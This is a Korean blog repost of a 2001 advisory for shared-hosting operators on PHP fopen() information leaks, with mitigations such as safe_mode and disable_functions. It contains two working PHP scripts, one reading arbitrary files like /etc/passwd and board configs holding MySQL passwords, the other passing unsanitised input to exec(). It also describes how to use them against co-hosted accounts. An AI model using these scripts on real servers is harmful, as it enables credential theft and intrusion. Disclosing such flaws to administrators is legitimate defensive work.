그러냐

[보안] php fopen() 보안에 대한 내용입니다. 서버관리자 본문

php

[보안] php fopen() 보안에 대한 내용입니다. 서버관리자

관절분리 2016. 1. 25. 14:28
반응형

출처 별종제쿠 | 별종제쿠
원문 http://blog.naver.com/jecu7/150008141157

PHP의 fopen을 이용한 정보유출을 막기위한 방법에 대하여....

* 웹호스팅 업체 및 무료계정 서버 운영자님은 필독해주십시요.
* 본 문서는 2001년 3월 29일 koreaphp.co.kr에서 정식 발표하는 것입니다.
* 문의는 koreaphp.co.kr PHP Q&A란에 올려주시구요.
* 더 좋은 해결방안을 가지신 분이나 리눅스에서 acl 설치방법 및 사용방법을 아시는 분은
webmaster@koreaphp.co.kr 노영환(오렌지블루)에게 메일 주시기 바랍니다.


PHP의 fopen함수를 사용하면 nobody 파일을 읽어서 확인할 수 있습니다.

먼저 1.php파일과 2.php 파일을 자신의 PHP계정에 올립니다.
그리고 먼저 1.php를 실행시킨 후에 텍스트입력창에
/etc/passwd 라고 타자하고 클릭을 하면 계정과 절대경로가 나타나집니다.
(passwd파일은 nobody에서 읽을 수 있기 때문입니다.)

그리고 계정명을 가지고 서버의 홈페이지에 접속해 봅니다.
korea1이 계정일 경우 브라우저로 www.koreaphp.co.kr/~korea1/
에 접속해 봅니다.

그리고 나서 제로보드인지 perl cgi인지를 확인해 보고
제로보드일 경우에는 제로보드가 설치된 경로를 찾아서 *****.php3를
열어 봅니다.
(제로보드를 예를 드는 이유는 제로보드가 가장 유명한 보드이기 때문입니다. 오해마세요. 너무 많이 사용되다 보니 걱정스러워서 적은 내용입니다.)
그러면 MYSQl디비명과 디비명, 비번을 보실 수 있습니다.

또 httpd.conf 파일을 열어보면 서버에 설치된 모든 도메인설정상황도 알아볼 수 있습니다.

계정명과 디비명을 같이 사용하시거나 디비비번과 계정비번이 같은 경우에는
텔넷 서비스를 하는 경우 계정으로 접근이 가능하게 됩니다.

리눅스 시스템을 조금만 아는분이라면 누구라도 서버를 이 잡듯이 뒤져볼수 있게 됩니다.

1.php
-----------------------------------------
<?
if($file){
$fp = fopen($file, "r");
    if(!$fp){
    echo ("읽을 수 없는 파일입니다.");
    }
    $contents = fread($fp, filesize($file));
    fclose($fp);
    echo "contents = $contents";
} else {
    echo ("
     <html>
        <form method=post action=$PHP_SELF>
        보고싶은 절대경로와 파일을 적으세요<br>
        <input type=text name=file>
        <input type=submit>
        </form>
        </html>
        ");
}
?>
----------------------------------------

2.php
----------------------------------------
<?
if($dir){
    exec("dir -al $dir",$contents,$error);
    if($error){
    echo "이 디렉토리를 볼 수 없습니다.";
    } else {
        while (list ($key, $val) = each ($contents)) {
     echo "$key => $val<br>";
        }
    }
} else {
    exec("pwd",$pwd,$error);
        echo ("현재 자신의 경로는 $pwd[0] 입니다. <br>");
    echo ("
     <html>
        <form method=post action=$PHP_SELF>
        보고싶은 디렉토리의 절대경로를 적으세요<br>
        <input type=text name=dir>
        <input type=submit>
        </form>
        </html>
        ");
}
?>
----------------------------------------


방지책

1. 솔라리스에서 사용하는 acl권한을 사용하면
rw-------+ 파일퍼미션이 이렇게 바뀌어서 자기 계정이외의 파일은
볼 수 없다고 합니다. (저는 acl을 사용할지 모릅니다. 불행히도.)

2. PHP.ini를 수정하여 safe_mode를 On하면 자기 계정 이외의 파일은 열어 볼 수 없습니다.
단 파일 업로드시에 이미 만들어진 nobody의 777 퍼미션의 경우에도 업로드가 안됩니다.
다른 방법으로 임시업로드 파일디렉토리를 /tmp에서 변경해 사용할 수 있다고 하지만
잘 적용되지 않고 멀티 유저가 사용하는 환경에서 적용하기 어렵습니다.

3. 제가 적용한 방법
아주 간단하게 php.ini에서 disable_functions    = fopen 이라고 적어서
fopen을 막아버렸습니다. 가능하다면 disable_functions    = fopen , exec 도 해버리면
좋겠습니다.
그래도 불안하시거나 exec를 사용해야 하는 경우라면 dir, ls , ll ,등의 명령어를
770으로 줘버리시기 바랍니다.
현재 더 좋은 방법을 찾고 있습니다. 이 방식은 PHP에서만은 제대로 작동되지만
c 또는 perl cgi에서는 막을 방법이 1번 방법밖에 없는 것으로 생각됩니다.
(perl에서 이와 같은 문제를 막을 방법을 아시는 분은 메일 주시기 바랍니다.)
겉들어 텔넷을 막아버리는 것두 좋은 방법이겠군요.


해결방안을 위한 대책

본 문제에 대하여 해결방안을 같이 생각해보실 분은 webmaster@koreaphp.co.kr 오렌지블루
노영환으로 메일 보내주시기 바랍니다.
phpschool.com에서 질문에 답변해주신 분들과 글 남겨주신분들에게도 감사드립니다.
(예전에 Dos공격을 keepalive를 off해서 막아내듯이 편법으로만 모든 문제를 해결하는 것 같아 고민입니다. 많은 분들이 좋은 의견 보내주세요 정리해서 다시 올리겠습니다. 서버 운영하기 참 힘드네요. 참고로 koreaphp.co.kr무료계정은 막아두엇습니다. cgi도 안되구욤 그러니 제발 어케 해보실 생각은 마세욤...)

운영자님 혹시 소스가 문제가 발생할 것 같으면 소스부분은 삭제해두 됩니다.

 

펌 : http://www.phpschool.com/gnuboard4/bbs/board.php?bo_table=tipntech&wr_id=2579

 
반응형